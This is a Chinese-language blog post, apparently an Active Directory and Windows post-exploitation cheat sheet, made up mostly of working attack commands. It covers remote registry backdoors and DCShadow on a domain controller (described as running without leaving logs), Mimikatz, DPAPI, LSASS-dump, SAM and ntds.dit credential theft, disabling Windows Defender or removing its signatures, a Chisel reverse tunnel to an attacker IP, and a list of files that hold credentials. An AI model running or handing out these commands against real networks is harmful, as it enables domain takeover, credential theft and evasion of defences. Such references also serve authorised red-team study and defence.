Add-RemoteRegBackdoor -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Trustee Student355

使用RemoteHashRetrieval.ps1DAMP中的cmdlet远程转储秘密(以“受信任”用户身份运行)。

1
2
3
4
5
6
7
8
# 获取针对银票攻击的机器帐户哈希
Get-RemoteMachineAccountHash -ComputerName dcorp-dc

# 获取本地帐户哈希
Get-RemoteLocalAccountHash -ComputerName dcorp-dc

# 获取缓存的凭据(如果有)
Get-RemoteCachedCredential -ComputerName dcorp-dc

DCShadow

DCShadow是一种通过临时模仿域控制器来掩盖某些动作的攻击。如果您在根域中具有Domain Admin或Enterprise Admin特权,则可以将其用于林级别的持久性。

(可选)作为域管理员,为选定的用户提供DCShadow攻击所需的特权(使用Set-DCShadowPermissions.ps1cmdlet)。

1
Set-DCShadowPermissions -FakeDC mcorp-student35 -SamAccountName root355user -Username student355 -Verbose

然后,在任何计算机上,使用Mimikatz进行DCShadow攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 为用户设置SPN
lsadump::dcshadow /object:root355user /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"

# 设置用户的SID历史记录(有效地授予他们企业管理员权限)
lsadump::dcshadow /object:root355user /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519

# 为用户设置AdminSDHolder容器上的完全控制权限
## 需要检索当前的ACL:
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl

## 然后获取目标用户的SID:
Get-NetUser -UserName student355 | select objectsid

## 最后,添加完全控制原语 (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;S-1-5-21-1874506631-3219952063-538504511-45109)

最后,从DA会话或以前提供DCShadowPermissions的用户的会话中,运行DCShadow攻击。先前上演的动作将在不保留日志的情况下执行😈

1
lsadump::dcshadow /push

Post-Exploitation

LSASS保护

有时,LSASS被配置为作为受保护进程(PPL)运行。您可以使用PowerShell进行查询,如下所示。

1
Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"

在这种情况下,您不仅可以转储或解析LSASS,还需要使用禁用该保护mimidrv.sys。我不会在这里讨论如何做。

Dumping secrets with Mimikatz

1
2
3
4
5
6
7
8
9
10
11
12
# 转储登录密码
sekurlsa::logonpasswords

# 从DC转储所有域散列
## 注意:带有/patch的所有内容都很嘈杂,因为它_writes_到LSASS🚩
lsadump::lsa /patch

# 仅转储本地用户
lsadump::sam

# DCSync (requires 'ldap' SPN)
lsadump::dcsync /user:dcorp\krbtgt /domain:dollarcorp.moneycorp.local

Windows Credential Vault转储

我在和一起使用时遇到了一些问题Invoke-Mimikatz.ps1。如果遇到问题,请尝试使用本机Mimikatz。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 转储Windows机密,例如计划任务的存储凭据(先提升权限)
vault::list
vault::cred /patch

# 转储Windows机密DPAPI方法(噪音少,没有特定权限,需要)
## 更多信息: https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials
## 首先,获取特定密钥的主密钥的GUID
dpapi::cred /in:C:\Users\appadmin\AppData\local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

## LSASS的EITHER Grab dpapi键
sekurlsa::dpapi

## 或抓取并缓存特定密钥
dpapi::masterkey /rpc /in:C:\Users\appadmin\AppData\Roaming\Microsoft\Protect\S-1-5-21-3965405831-1015596948-2589850225-1118\a89b97d2-b520-462d-a924-d57df68c543b

## Mimikatz将缓存主密钥(使用dpapi::cache检查)
## Then run the initial dpapi::cred command again to get the juice!

没有Mimikatz的密码hash转储

我们也可以解析系统机密,而无需在目标系统上直接使用Mimikatz。

Dumping LSASS

运行Mimikatz的首选方法是使用目标中LSASS内存的转储副本在本地进行。DumpertProcdump或其他(自定义)工具可用于转储LSASS内存。

1
2
3
# 通过进程快照(-r)转储LSASS内存,避免与之直接交互
.\procdump.exe -r -ma lsass.exe lsass.dmp
# 或者任务管理器找到lsass.exe进程右键创建转储文件

在我们的攻击系统上下载内存转储文件后,我们可以运行Mimikatz并切换到“ Minidump”模式以如下方式解析文件。

1
2
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

Dumping secrets from the registry

我们可以从注册表中转储机密并“离线”解析文件,以获取系统机密列表。🚩

在目标上,我们运行以下命令:

1
2
3
reg.exe save hklm\sam c:\users\public\downloads\sam.save
reg.exe save hklm\system c:\users\public\downloads\system.save
reg.exe save hklm\security c:\users\public\downloads\security.save

然后,在我们的攻击盒子上,我们可以使用Impacket丢弃秘密:

1
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL > secrets.out

ntdsutil

ntdsutil win2008开始DC中自带的工具

1
2
3
4
5
6
7
8
9
#交互式
ntdsutil
snapshot
activate instance ntds
create
mount [GUID]
# copy 完之后再执行
unmout [GUID]
del [GUID]
1
2
3
4
5
# 非交互式
ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {GUID}" quit quit
copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit

QuarkPwDump分析 [下载地址][https://github.com/quarkslab/quarkspwdump]

在线提取(直接在目标主机执行,实战中不选择此方式。)

1
QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit

离线提取 需要两个文件 ntds.dit 和 system.hive , 其中system.hive可通过reg save hklm\system system.hive获取

1
QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\system.hive >c:\hash.txt

ntdsutil: ifm 模块

WINDOWS SERVER 2008-2016

1
2
3
4
5
6
C:\> ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\audit
ifm: quit
ntdsutil: quit

使用NtdsAudit.exe下载地址解出ntds的hash

1
NtdsAudit.exe "ntds.dit" -s "SYSTEM" -p pwdump.txt --users-csv users.csv

NtdsAudit需要ntds.dit Active Directory数据库,SYSTEM 如果转储密码哈希,则需要注册表配置单元。这些文件由域控制器锁定,因此无法简单地复制和粘贴。从域控制器获取这些文件的推荐方法是使用内置ntdsutil实用程序。

  • 以管理员身份打开命令提示符(cmd.exe)。要以管理员身份打开命令提示符,请单击“启动”。在“开始搜索”中,键入命令提示符。在“开始”菜单的顶部,右键单击“命令提示符”,然后单击“以管理员身份运行”。如果出现“用户帐户控制”对话框,请输入相应的凭据(如果已请求)并确认其显示的操作是您所需的操作,然后单击“继续”。
1
2
3
4
5
6
7
8
9
10
11
12
13
# 在命令提示符下,键入以下命令,然后按ENTER键:
ntdsutil

# 在ntdsutil提示符下,键入以下命令,然后按Enter:
activate instance ntds

# 在ntdsutil提示符下,键入以下命令,然后按Enter:
ifm

# 在ifm提示符下,键入以下命令,然后按Enter:
create full <Drive>:\<Folder>

# <Drive>:\<Folder> 是要创建的文件的文件夹路径。

例如,以下命令将显示统计信息,输出pwdump.txt包含密码哈希值的文件,并输出users.csv包含每个用户帐户详细信息的文件。

1
ntdsaudit ntds.dit -s SYSTEM -p pwdump.txt -u users.csv

Linux 明文密码的获取

mimipenguin

git clone https://github.com/huntergregal/mimipenguin

支持的操作系统

os service supported
Ubuntu Desktop 12.04 LTS x64 gnome-keyring-daemon (3.18.3) Y
Ubuntu Desktop 16.04 LTS x64 gnome-keyring-daemon (3.18.3) Y
Fedora Workstation 25 (x86_64) gnome-keyring-daemon (3.20.0) Y
Fedora Workstation 27 (x86_64) gnome-keyring-daemon (3.20.1) Y
Kali-rolling x64 gnome-keyring-daemon (3.28.0.2) Y

从卷影副本中转储快照

我们还可以创建SAMSYSTEM文件的“卷影副本” (它们始终锁定在当前系统上),因此我们仍然可以将它们复制到本地系统中。为此需要提升的提示

1
2
3
wmic shadowcopy call create Volume='C:\'
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system

关闭Windows Defender

👀🚩

1
2
3
Set-MpPreference -DisableRealtimeMonitoring $true

Set-MpPreference -DisableIOAVProtection $true

或将Defender保持启用状态,然后从其中删除签名。

1
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Chisel 代理

这是一个有关如何设置Socks代理以在受感染主机上进行凿凿的示例。凿子还可以做更多的事情!

在攻击者机器(Linux或Windows)上:

1
./chisel server -p 8888 --reverse

目标执行:

1
.\chisel_windows_386.exe client 10.10.16.7:8888 R:8001:127.0.0.1:9001

现在,我们正在侦听localhost:8001攻击机,以将流量转发给target:9001

然后,打开Socks服务器。估计的正好:

1
.\chisel_windows_386.exe server -p 9001 --socks5

在攻击机上:

1
./chisel client localhost:8001 socks

现在,在攻击计算机的端口1080上打开了一个代理。

Juicy files

有很多文件可能包含有趣的信息。WinPEAS类的工具或PowerSploit类的集合可能有助于识别多汁的文件(用于privesc或post-exploitation)。

以下是我遇到过的一些相关文件的列表。根据计算机上安装的程序和/或服务检查文件。

此外,不要忘记使用sqlcmd或枚举任何本地数据库Invoke-SqlCmd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 所有用户文件夹
## 如果文件太多,请限制此命令;)
tree /f /a C:\Users

# Web.config
C:\inetpub\www\*\web.config

# Unattend 文件
C:\Windows\Panther\Unattend.xml

# RDP 配置文件
C:\ProgramData\Configs\

# Powershell scripts/config 文件
C:\Program Files\Windows PowerShell\

# PuTTy 配置文件
C:\Users\[USERNAME]\AppData\LocalLow\Microsoft\Putty

# FileZilla 证书
C:\Users\[USERNAME]\AppData\Roaming\FileZilla\FileZilla.xml

# Jenkins creds (also check out the Windows vault, see above)
C:\Program Files\Jenkins\credentials.xml

# WLAN profiles
C:\ProgramData\Microsoft\Wlansvc\Profiles\*.xml

# TightVNC 密码 (convert to Hex, then decrypt with e.g.: https://github.com/frizb/PasswordDecrypts)
Get-ItemProperty -Path HKLM:\Software\TightVNC\Server -Name "Password" | select -ExpandProperty Password
士不可以不弘毅,任重而道远。仁以为己任,不亦重乎?死而后已,不亦远乎?

本文标题:Windows和Active Directory备忘单和命令参考

文章作者:yaron

发布时间:2021年05月19日 - 16:14:10

最后更新:2021年05月19日 - 16:17:30

原文链接:https://yaalonsong.github.io/2021/05/19/Windows和Active Directory备忘单和命令参考.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。